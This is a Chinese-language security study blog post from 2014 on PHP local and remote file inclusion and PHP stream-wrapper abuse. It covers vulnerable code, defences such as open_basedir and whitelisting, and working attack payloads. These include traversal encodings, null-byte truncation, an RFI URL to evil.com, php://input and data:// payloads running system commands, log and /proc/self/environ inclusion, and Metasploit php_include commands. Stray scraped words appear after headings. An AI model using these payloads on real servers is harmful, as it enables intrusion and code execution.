LFI、RFI、PHP封裝協議安全問題學習

本文但願分享一些本地文件包含、遠程文件包含、PHP的封裝協議(僞協議)中可能包含的漏洞javascript

 

相關學習資料php

http://www.ibm.com/developerworks/cn/java/j-lo-longpath.html
http://hi.baidu.com/casperkid/item/2baf952b13a9cd0e76272cb0
http://hi.baidu.com/txcbg/item/c9549af659b3de0dd99e725e
http://cn2.php.net/manual/zh/wrappers.php
http://www.wechall.net/

 

目錄html

1. 文件包含的基本概念
2. LFI(Local File Include)
3. RFI(Remote File Include)
4. PHP中的封裝協議(僞協議)、PHP的流式文件操做模式所帶來的問題

 

1. 文件包含的基本概念java

嚴格來講,文件包含漏洞是"代碼注入"的一種。"代碼注入"這種攻擊,其原理就是注入一段用戶能控制的腳本或代碼,並讓服務器端執行。
"代碼注入"的典型代碼就是文件包含(File Inclusion),個人理解是叫"外部數據流包含",至於這個外部數據流是什麼,能夠是文件,也能夠是POST數據流的形式。
文件包含可能會出如今JSP,PHP,ASP等語言中。mysql

PHP: include(), include_once, require(), require_once(), fopen(), readfile()
JSP/Servlet: ava.io.File(), Java.io.FileReader()
ASP: include file, include virtual

在PHP中,當使用這4個函數包含一個新的文件時,該文件將做爲PHP代碼執行,PHP的內核並不會在乎被包含的文件是什麼類型。因此若是被包含的是txt、圖片、遠程URL。也都會被看成PHP代碼執行(圖片型木馬的原理也就在這裏)。linux

要想成功利用文件包含漏洞,須要知足下面的條件
1) include()等函數經過動態變量的方式引入須要包含的文件程序員

(攻擊者能夠本地變量任意覆蓋的漏洞或者自定義前綴的漏洞來達到這個動態引入的漏洞利用)web

example:
<?php
$file = $_GET['file'];
@include_once("$file" . "/templete/tpl.html");
?>
黑客能夠採起:
1) %00、/0截斷的方式使程序包含攻擊者想要的文件
2) 攻擊者輸入一個remote url: http://www.evil.com/index.php? ,若是目標服務器開啓了allow_url_include = On則這句代碼表現爲: @include_once("http://www.evil.com/index.php?/templete/tpl.html");
能夠看到,根據HTTP參數的定義,"?"後面的內容被看成了傳給這個腳本的參數,從而達到了00截斷相同的效果

2) 用戶可以控制該動態變量sql

<?php
$file = $_GET['file'];
@include_once("$file");
?>
這種狀況的利用方式就更多了,接下來我會盡我所能,把我搜集到的資料分享給你們

 

2. LFI(Local File Include)本地文件包含shell

在探討本地文件包含的漏洞以前,我以爲有必要先一下本地文件包含的做用。在WEB開發中爲何要使用本地文件包含,它有什麼做用。

通常來講,本地文件包含(即include)有如下幾點做用

1) 將網站頁面通用的page_header.php(經常顯示banner信息等)、頁面尾部page_footer.php(經常顯示版權信息等)獨立出來,這樣在任何頁面須要的時候就能夠直接經過include方式引入進來,提升了代碼的重用性,加快了開發速度
2) 將通用配置文件,例如數據庫鏈接文件database.php單獨封裝出來,方便須要進行數據庫鏈接的時候就能夠直接經過include方式引入進來
3) 將一些涉及到安全過濾、輸入檢測的代碼邏輯單獨封裝成一個secure.php文件,這樣就能夠在整個WEB系統中進行統一的安全過濾處理,防止由於各個業務場景的代碼邏輯不一致致使的漏洞
4) WEB系統中普遍採用的文件緩存、數據緩存都是經過include方式完成的

瞭解了LFI的應用場景以後,咱們來學習一下LFI的成因、以及可能產生的安全問題

可以打開幷包含本地文件的漏洞,被稱爲本地文件包含漏洞(Local File Inclusion LFI)

下面是一段測試代碼:

<?php
// "../../etc/passwd\0"
$file = $_GET['file']; 
if(file_exists('/home/wwwrun/' . $file . '.php'))
{
inlcude '/home/wwwrun/' . $file . '.php';
}
?>

這個方案看似很安全,程序員把inlcude路徑的前綴部分、後綴部分都給控制住了。相比於連路徑的前綴都由用戶控制的那種漏洞已經安全多了。可是這裏存在幾個問題

1) 00字符截斷

PHP內核是由C語言實現的,所以使用了C語言中的一些字符串處理函數。在鏈接字符串時,0字節(\x00)將做爲字符串的結束符。因此在這個地方,攻擊者只要在最後加入一個0字節,就能截斷file變量以後的字符串。

../etc/passwd\0

經過web輸入時,只需UrlEncode,變成:

../etc/passwd%00

字符串截斷的技巧,也是文件包含中最經常使用的技巧

防護方法:
在通常的web應用中,0字節用戶實際上是不須要的,所以徹底能夠禁用0字節

<?php
    function getVar($name)
    {
        $value = isset($_GET[$name]) ? $_GET[$name] : null;
      if(is_string($value))
      {
          $value = str_replace("\0", '', $value);
      }
  }  
?>

2) 超長字符截斷

採用00字符過濾並無徹底解決問題,

利用操做系統對目錄最大長度的限制,能夠不須要0字節而達到截斷的目的。

http://www.ibm.com/developerworks/cn/java/j-lo-longpath.html
咱們知道目錄字符串,在window下256字節、linux下4096字節時會達到最大值,最大值長度以後的字符將被丟棄。
而利用"./"的方式便可構造出超長目錄字符串:

././././././././././././././././abc
////////////////////////abc
..1/abc/../1/abc/../1/abc

延伸一個話題:

這種截斷型漏洞我以爲和有一種數據庫截斷的致使越權訪問的漏洞相似:

在數據庫的表中通常會對某個字段的長度進行限制,若是長度超過了這個長度會被數據庫自動截斷,若是本來存在一個admin帳戶(而且長度限制爲5),那麼攻擊者能夠嘗試註冊admin_test,可是由於數據庫的長度限制,致使被截斷了,也變成了admin,這種漏洞利用思想就是利用兩個系統範圍之間的標準不一致致使的繞過思路)
。操做系統把目錄字符串的超出部分截斷了,反過來致使了攻擊者能夠任意控制想要輸入的文件名

除了incldue()等4個函數以外,PHP中可以對文件進行操做的函數都有可能出現漏洞。雖然大多數狀況下不能執行PHP代碼,但可以讀取敏感文件帶來的後果也是比較嚴重的。例如: fopen()、fread()

0x3: 任意目錄遍歷

除了這種攻擊方式,還可使用"../../../"這樣的方式來返回到上層目錄中,這種方式又被稱爲"目錄遍歷(Path Traversal)"。常見的目錄遍歷漏洞,還能夠經過不一樣的編碼方式來繞過一些服務器端的防護邏輯(WAF)

%2e%2e%2f    ->    ../
%2e%2e/     ->    ../
..%2f     ->    ../
%2e%2e%5c    ->    ..\
%2e%2e%\    ->    ..\
..%5c     ->    ..\
%252e%252e%255c    ->    ..\
..%255c     ->    ..\

防護方法:
目錄遍歷漏洞是一種跨越目錄讀取文件的方法,但當PHP配置了open_basedir時,將很好地保護服務器,使得這種攻擊無效。
open_basedir的做用是限制在某個特定目錄下PHP能打開的文件(有點像chroot的感受)

好比在沒有設置open_basedir時,文件包含漏洞能夠訪問任意文件

http://localhost/FIleInclude/index.php?file=../Time/index

當設置了open_basedir時:

open_basedir = E:\wamp\www\FIleInclude\
http://localhost/FIleInclude/index.php?file=../Time/index
Warning: file_exists(): open_basedir restriction in effect. File(../Time/index.php) is not within the allowed path(s): (E:\wamp\www\FIleInclude\) in E:\wamp\www\FIleInclude\index.php on line 4
Call Stack
文件包含失敗!!!

綜上,要防護LFI的漏洞,應該儘可能避免包含動態的變量,尤爲是用戶能夠控制的變量。一種變通的方式,則是使用枚舉:

<?php
    $file = $_GET['file'];

    //whitelisting possible values
    switch($file)
    {
        case "main":
        case "foo":
        case "bar":
            include "/home/wwwrun/include" . $file . ".php";
            break;
        default:
            include "/home/wwwrun/include/main.php";
    }
?>

這是一種參數化白名單的防護思想。經過將可能的值限定在一個可能的範圍內來控制風險。$file的值被枚舉出來,也就避免了由於用戶的非法輸入致使文件包含的風險。

 

3. RFI(Remote File Include)遠程文件包含

遠程文件包含本質上和LFI(本地文件包含)是同一個概念,只是被包含的"文件源"(咱們以後會了解到實際上是流源)不是從本次磁盤上得到,而是從外部輸入流獲得。

若是PHP的配置選項allow_url_include爲ON的話,則include/require函數能夠加載遠程文件,這種漏洞被稱爲"遠程文件包含漏洞(Remote File Inclusion RFI)"。

爲了更好地說明,咱們仍是準備一段典型代碼:

<?php 
    $basePath = $_GET['path'];
    require_once $basePath . "/action/m_share.php";  
?>

這裏看似將路徑的後半段都定死了,可是結合HTTP傳參的原理能夠繞過去

攻擊者能夠構造相似以下的攻擊URL

http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?

產生的原理:

/?path=http://localhost/test/solution.php?
最終目標應用程序代碼實際上執行了:
require_once "http://localhost/test/solution.php?/action/m_share.php";
(注意,這裏很巧妙,問號"?"後面的代碼被解釋成URL的querystring,這也是一種"截斷"思想,和%00同樣)
攻擊者能夠在http://localhost/test/solution.php上模擬出相應的路徑,從而使之吻合

防護思路:

1. 關閉遠程文件包含的配置選項
allow_url_include = Off

關於LFI還有另外一種攻擊方式,咱們將在接下來學習了PHP的僞協議封裝器、流以後理解到它的原理

 

4. PHP中的封裝協議(僞協議)、PHP的流式文件操做模式所帶來的問題

咱們知道,咱們利用遠程/本地文件包含漏洞的目的有如下幾個:

1) 越權訪問文件(/etc/passwd)
    1.1) 00截斷
    1.2) 超長截斷
    1.3) 目錄遍歷的攻擊方式
2) 任意代碼執行
    2.1) 經過正常、非正常將一個包含有腳本代碼的文件上傳到服務器上(經常是.jpg圖片格式,將代碼藏在圖片中),而後在攻擊paylaod中引入這個包含腳本代碼的文件,使代碼得以執行(圖片木馬)
    2.2) 經過包含服務器上的WEB系統本來就存在的.php腳本文件達到改變代碼邏輯的目的
    2.3) 經過RFI(遠程文件包含)將I/O流、協議流的資源描述符做爲文件包含的輸入源,從而利用HTTP通訊將任意代碼注入原始的腳本執行空間中

 接下來,咱們將逐一學習PHP中的封裝協議

http://cn2.php.net/manual/zh/wrappers.php

PHP 帶有不少內置 URL 風格的封裝協議(scheme://... ),可用於相似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系統函數。 除了這些封裝協議,還能經過 stream_wrapper_register() 來註冊自定義的封裝協議。和javascript在瀏覽器中實現的一些的僞協議相似,PHP的僞協議提供了另外一種"很是規"的方式進行數據的輸入、輸出

我對它們進行了一個大體的分類,分別對應於不一樣類型的漏洞攻擊方式

0x1: 越權訪問本地文件

1) file:// — 訪問本地文件系統
文件系統是PHP使用的默認封裝協議,展示了本地文件系統

<?php
  $res = file_get_contents("file://E://wamp//www//test//solution.php");
  var_dump($res);
?>

這裏的要重點注意,file://這個僞協議能夠展現"本地文件系統",當存在某個用戶可控制、並得以訪問執行的輸入點時,咱們能夠嘗試輸入file://去試圖獲取本地磁盤文件

http://www.wechall.net/challenge/crappyshare/index.php

http://www.wechall.net/challenge/crappyshare/crappyshare.php

在這題CTF中,攻擊的關鍵點在於:curl_exec($ch)

function upload_please_by_url($url)
{ 
  if (1 === preg_match('#^[a-z]{3,5}://#', $url)) # Is URL? 
  {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_FAILONERROR, true);
    if (false === ($file_data = curl_exec($ch)))
    {
      htmlDisplayError('cURL failed.');
    }
    else
    {
      // Thanks
      upload_please_thx($file_data);
    }
  }
  else
  {
    htmlDisplayError('Your URL looks errorneous.');
  }
}

當咱們輸入的file://參數被帶入curl中執行時,本來的遠程URL訪問會被重定向到本地磁盤上,從而達到越權訪問文件的目的

2) php://filter -- 對本地磁盤文件進行讀寫
php://filter是一種元封裝器,設計用於"數據流打開"時的"篩選過濾"應用。這對於一體式(all-in-one)的文件函數很是有用,相似readfile()、file()、file_get_contens(),在數據流內容讀取以前沒有機會應用其餘過濾器

<?php 
  @include($_GET["file"]);
?>
url: http://localhost/test/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
result: PD9waHAgc3lzdGVtKCdpcGNvbmZpZycpOz8+   (base64解密就能夠看到內容,這裏若是不進行base64_encode,則被include進來的代碼就會被執行,致使看不到源代碼)

向磁盤寫入文件

<?php
  /* 這會經過 rot13 過濾器篩選出字符 "Hello World"
  而後寫入當前目錄下的 example.txt */
  file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
?>
這個參數採用一個或以管道符 | 分隔的多個過濾器名稱

0x2: 代碼任意執行

1) php:// — 訪問各個輸入/輸出流(I/O streams)
http://cn2.php.net/manual/zh/wrappers.php.php
PHP 提供了一些雜項輸入/輸出(IO)流,容許訪問 PHP 的輸入輸出流、標準輸入輸出和錯誤描述符, 內存中、磁盤備份的臨時文件流以及能夠操做其餘讀取寫入文件資源的過濾器。
1.1) php://input
php://input 是個能夠訪問請求的原始數據的只讀流(這個原始數據指的是POST數據)

<?php
    $res = file_get_contents("php://input");
    var_dump($res);
?>
post提交數據:hello
result: hello

僞協議php://input須要服務器支持,同時要求"allow_url_include"設置爲"On"

利用僞協議的這種性質,咱們能夠將LFI衍生爲一個code excute漏洞
http://www.freebuf.com/articles/web/14097.html#comment-16863

<?php 
  @eval(file_get_contents('php://input'))
?> 
http://localhost/test/index.php
post: system("dir");
result: list directory

這本質上遠程文件包含的利用,咱們知道,遠程文件包含中的include接收的是一個"資源定位符",在大多數狀況下這是一個磁盤文件路徑,可是從流的角度來看,這也能夠是一個流資源定位符,即咱們將include待包含的資源又重定向到了輸入流中,從而能夠輸入咱們的任意code到include中

<?php
  @include($_GET["file"]);
?>
http://localhost/test/index.php?file=php://input
post: <?php system('ipconfig');?>
result: ip information

(有一點要注意)
<?php echo file_get_contents("solution.php");?>
在利用文件包含進行代碼執行的時候,咱們經過file_get_contents獲取到的文件內容,若是是一個.php文件,會被看成include的輸入參數,也就意味着會被再執行一次,則咱們沒法看到原始代碼了,解決這個問題的方法就是使用base64_encode進行編碼
<?php echo base64_encode(file_get_contents("solution.php"));?>

php://僞協議框架中還有其餘的流,可是和源代碼執行彷佛沒有關係,這裏也列出來你們一塊兒學習吧
php://output是一個只寫的數據流,容許咱們以print和echo同樣的方式寫入到輸出緩衝區

<?php
  $data = "hello LittleHann";
  $res = file_put_contents("php://output", $data); 
?>
result: hello LittleHann

php://memory和php://temp是一個相似"文件包裝器"的數據流,容許讀寫"臨時數據"。二者惟一的區別是:

1) php://memory 老是把數據存儲在內存中
2) php://temp會在內存量達到預約義的限制後(默認是2M)存入臨時文件中

臨時文件位置的決定和sys_get_temp_dir()的方式一致(upload_tmp_dir = "E:/wamp/tmp")

<?php
  $fp = fopen("php://memory", 'r+');
  fputs($fp, "hello LittleHann!!!\n");
  rewind($fp);
  while(!feof($fp))
  {
    echo fread($fp, 1024);
  }
  fclose($fp);
?>
result:
hello LittleHann!!!

2) data://僞協議

http://www.php.net/manual/zh/wrappers.data.php
這是一種數據流封裝器,data:URI schema(URL schema能夠是不少形式)

利用data://僞協議進行代碼執行的思路原理和php://是相似的,都是利用了PHP中的流的概念,將本來的include的文件流重定向到了用戶可控制的輸入流中

data:text/plain,...

<?php 
  @include($_GET["file"]);
?>
url: http://localhost/test/wrapper.php?file=data:text/plain,<?php system("net user")?>
result: user information

data://text/base64,...

<?php 
  @include($_GET["file"]);
?>
url: http://localhost/test/wrapper.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJuZXQgdXNlciIpPz4=
result: user information

data://image/jpeg;base64,...

<?php 
  $jpegimage = imagecreatefromjpeg("data://image/jpeg;base64," . base64_encode($sql_result_array['imagedata'])); 
?>
圖片木馬 

0x3: 目錄遍歷

1) glob://僞協議

glob:// 查找匹配的文件路徑模式

<?php
  // 循環 ext/spl/examples/ 目錄裏全部 *.php 文件
  // 並打印文件名和文件尺寸
  $it = new DirectoryIterator("glob://E:\\wamp\\www\\test\\*.php");
  foreach($it as $f) 
  {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
  }
?>

 

5. 文件包含可能存在的其餘利用方式

這裏用"可能"存在是由於有些利用方式和WEB系統的具體業務場景、代碼邏輯、服務器的版本、配置有關,不具備通用性

0x1: 包含Session文件

包含Session文件的條件也較爲苛刻,它須要攻擊者可以"控制"部分Session文件的內容。
x|s:19:"<?php phpinfo(); ?>"
PHP默認生成的Session文件每每存放在/tmp目錄下
/tmp/sess_SESSIONID

0x2: 包含日誌文件,好比Web Server的access.log

包含日誌文件是一種比較靈活的技巧,由於服務器通常都會往web server的access_log裏記錄客戶端的請求信息,在error_log裏記錄出錯信息。所以攻擊者能夠間接地將PHP代碼寫入到日誌文件中,在文件包含時,只須要包含日誌文件便可

織夢CMS的一個利用mysql的錯誤語句,而後程序會把錯誤信息寫入到網站的目錄下的一個.php文件中。攻擊者只要在這此的錯誤請求中附帶上PHP代碼,就能夠達到getshell的目的,就是這個思路
http://sebug.net/vuldb/ssvid-12154
利用了MySQL字段數值溢出引起錯誤和DEDECMS用PHP記錄數據庫錯誤信息而且文件頭部沒有驗證的漏洞

MSF攻擊模塊

use exploit/unix/webapp/php_include
set rhost 192.168.159.128
set rport 80
set phpuri /index.php?file=xxLFIxx
set path http://172.18.176.147/
set payload php/meterpreter/bind_tcp
set srvport 8888
exploit -z

0x3: 包含/proc/self/environ文件

包含/proc/self/environ是一種更通用的方法,由於它根本不須要猜想包包含文件的路徑,同時用戶也能控制它的內容。

http://192.168.159.128/index.php?file=../../../../../../../proc/self/environ
SSH_AGENT_PID=4314
HOSTNAME=localhost.localdomain
DESKTOP_STARTUP_ID=TERM=xtermSHELL=/bin/bash
HISTSIZE=1000KDE_NO_IPV6=1GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc-1.2-gnome2WINDOWID=26239249USER=rootLS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:GNOME_KEYRING_SOCKET=/tmp/keyring-SlrelE/socketSSH_AUTH_SOCK=/tmp/ssh-lFKDab4288/agent.4288KDEDIR=/usrSESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/4288MAIL=/var/spool/mail/rootPATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/binINPUTRC=/etc/inputrcPWD=/var/log/httpdXMODIFIERS=@im=noneLANG=en_US.UTF-8KDE_IS_PRELINKED=1SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpassSHLVL=3HOME=/rootGNOME_DESKTOP_SESSION_ID=DefaultLOGNAME=rootCVS_RSH=sshDBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-WIFRtyS0Yc,guid=4ede99c74b6a8ca1097e5500527437aeLESSOPEN=|/usr/bin/lesspipe.sh %sDISPLAY=:0.0G_BROKEN_FILENAMES=1COLORTERM=gnome-terminalXAUTHORITY=/root/.Xauthority_=/bin/catOLDPWD=/var/log

0x4: 包含上傳的臨時文件(RFC1867)

但PHP建立的上傳臨時文件,每每處於PHP容許訪問的目錄範圍內。
PHP處理上傳文件的過程是這樣的:

HTTP POST with a file arrives
PHP begins analysis
PHP creates temp file
PHP writes data to temp file
PHP close temp file
script execution begins
[optional] script moves uploaded file
script execution ends
PHP removes temp files(if any)

PHP會爲上傳文件建立臨時文件,其目錄在php.ini的upload_tmp_dir中定義。但該值默認爲空,此時在linux下會使用/tmp目錄,在windows下會使用C:\windows\temp目錄。
該臨時文件的文件名是隨機的,攻擊者必須準確猜想出該文件名才能成功利用此漏洞(以前分析的僞隨機數漏洞)。

PHP在此處並無使用安全的隨機函數,所以使得暴力猜解文件名成爲可能。在windows下,僅有65535種不一樣的文件名。
http://www.exploit-db.com/download_pdf/17010/

在Sun Java 6 Update 11以前的createTempFile()中存在一個隨機數可預測的問題,在短期內生成的隨機數其實是順序增加的

http://hi.baidu.com/aullik5/item/2f851fc4bf9f3266f7c95dc2

import java.io.*;
public class getTemp 
{
    public static void main(String[] args)
    {
        File f = null;
        String extension = ".tmp";
        try
        {
            for(int i = 0; i < 100; i++)
            {
                f = File.createTempFile("temp", extension);
                System.out.println(f.getPath());
            }
        }
        catch(IOException e)
        {
            //
        }
    }
}

 

6. 後記

本文對文件包含的學習就到這裏了,這裏推薦一個網站,國外辦的一個長期的learning site,題目蠻不錯的,能夠學到很多東西

http://www.wechall.net/challenge/warchall/live_rfi/index.php
http://www.wechall.net/challenge/warchall/live_lfi/index.php

下一步準備學習一下java,struct開發相關的知識,但願之後能涉及一些java方面的代碼審計,滲透技巧

 

 

Copyright (c) 2014 LittleHann All rights reserved
Link: http://www.cnblogs.com/LittleHann/p/3665062.html

相關文章
相關標籤/搜索